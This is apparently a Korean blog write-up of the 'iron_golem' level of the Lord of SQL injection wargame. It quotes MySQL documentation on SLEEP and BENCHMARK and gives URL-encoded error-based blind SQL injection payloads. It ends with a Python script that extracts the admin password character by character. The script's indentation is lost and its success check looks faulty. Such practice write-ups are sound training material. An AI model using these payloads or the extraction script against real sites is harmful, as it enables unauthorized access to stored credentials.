본문 바로가기

WarGame/Web

[Lord of SQL injection] iron_golem

소스코드 분석

if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");

여기서 sleep과 benchmark를 필터링 해놨는데 왜 했는지 의도에 대해서는 모르겠다.

sleep은 쿼리를 초단위로 지연을 시킬수 있다.

select * from [테이블 명] WHERE SLEEP(5)=0;

지정한 숫자보다 3배는 더걸리는거 같다.



SLEEP(duration)

https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep


Sleeps (pauses) for the number of seconds given by the duration argument, then returns 0. The duration may have a fractional part. If the argument is NULL or negative, SLEEP() produces a warning, or an error in strict SQL mode.

duration 인수로 지정된 시간 (초) 동안 휴면 (일시 중지) 한 다음 0을 반환합니다. 기간에는 소수 부분이있을 수 있습니다. 인수가 NULL 또는 음수이면 SLEEP ()은 경고를 발생 시키거나 엄격한 SQL 모드에서 오류를 생성합니다.


When sleep returns normally (without interruption), it returns 0:

sleep이 정상적으로 (중단없이) 돌아 오면 0을 반환합니다.


When SLEEP() is the only thing invoked by a query that is interrupted, it returns 1 and the query itself returns no error. 

인터럽트 된 쿼리에서 SLEEP ()이 호출 된 경우에만 1을 반환하고 쿼리 자체는 오류를 반환하지 않습니다. 




BENCHMARK(count,expr)

https://dev.mysql.com/doc/refman/5.7/en/information-functions.html#function_benchmark


The BENCHMARK() function executes the expression expr repeatedly count times. It may be used to time how quickly MySQL processes the expression. The result value is always 0. The intended use is from within the mysql client, which reports query execution times:

BENCHMARK () 함수는 표현식 expr을 반복 횟수만큼 실행합니다. MySQL이 표현을 처리하는 속도를 측정하는 데 사용될 수 있습니다. 결과 값은 항상 0입니다. 의도 된 사용은 쿼리 실행 시간을보고하는 mysql 클라이언트 내에서 사용됩니다.

mysql> SELECT BENCHMARK(1000000,ENCODE('hello','goodbye'));
+----------------------------------------------+
| BENCHMARK(1000000,ENCODE('hello','goodbye')) |
+----------------------------------------------+
|                                            0 |
+----------------------------------------------+
1 row in set (4.74 sec)

The time reported is elapsed time on the client end, not CPU time on the server end. It is advisable to execute BENCHMARK() several times, and to interpret the result with regard to how heavily loaded the server machine is.
보고 된 시간은 서버 측의 CPU 시간이 아닌 클라이언트 측의 경과 시간입니다. BENCHMARK ()를 여러 번 실행하고 서버 시스템이 과중한로드 상태와 관련하여 결과를 해석하는 것이 좋습니다.



$result = @mysql_fetch_array(mysql_query($query));

if(mysql_error()) exit(mysql_error());

echo "<hr>query : <strong>{$query}</strong><hr><br>";

mysql error를 발생 시켜야 참인지 거짓인지 판별 할수 있다.

그리고 admin의 pw를 알면된다.


mysql if문을 사용하여 문제를 풀었다.

if(조건,참일 때,거짓일 때)


?pw=%27%20or%20if((select%20id=%27admin%27%20and%20length(pw)=16),true,(select%201%20union%20select%202))%23%22

이 쿼리 문을 날려 조건이 거짓일때 상태를 보면



이런 상태가 되고 이때 error가 떠야한다. (error면 다되는게 아니라 단독으로 실행 시켰을 

때는 문제가 없고 or 조건을 만났을때 error가 떠야한다.)

ERROR 1242 (21000): Subquery returns more than 1 row

서브쿼리가 하나 이상의 레코드를 리턴하는 문장들에 대해 발생하는 에러이다.





?pw=%27%20or%20if((select%20id=%27admin%27%20and%20LENGTH(mid(pw,1,1))=4),true,(select%201%20union%20select%202))%23



총 16바이트에서 한글자당 4바이트니 4글자인거 확인


import http.client
result=''
leng=0
header={'Cookie':'PHPSESSID=d2u60c9405fkkj55cdqvgfnsc0'}
string="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"
for i in range(1,5):
for j in range(0,76):
substr = '/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?pw=%27%20or%20if((select%20id=%27admin%27%20and%20substr(pw,'+str(i)+',1)=%27' + str(string[j]) + '%27),true,(select%201%20union%20select%202))%23%22'
conn=http.client.HTTPConnection('los.eagle-jump.org')
conn.request('GET',substr,'',header)
data=conn.getresponse().read()
if data.decode().find("Subquery returns more than 1 row") != 0:
result=result+string[j]
print ('substr(pw,'+str(i)+',1)= '+str(string[j]))
break
print ('Password is '+result)




'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] hell_fire  (0) 2017.06.02
[Lord of SQL injection] dark_eyes  (0) 2017.06.02
[Lord of SQL injection] dragon  (0) 2017.06.01
[Lord of SQL injection] xavis  (0) 2017.06.01
[Lord of SQL injection] nightmare  (0) 2017.05.28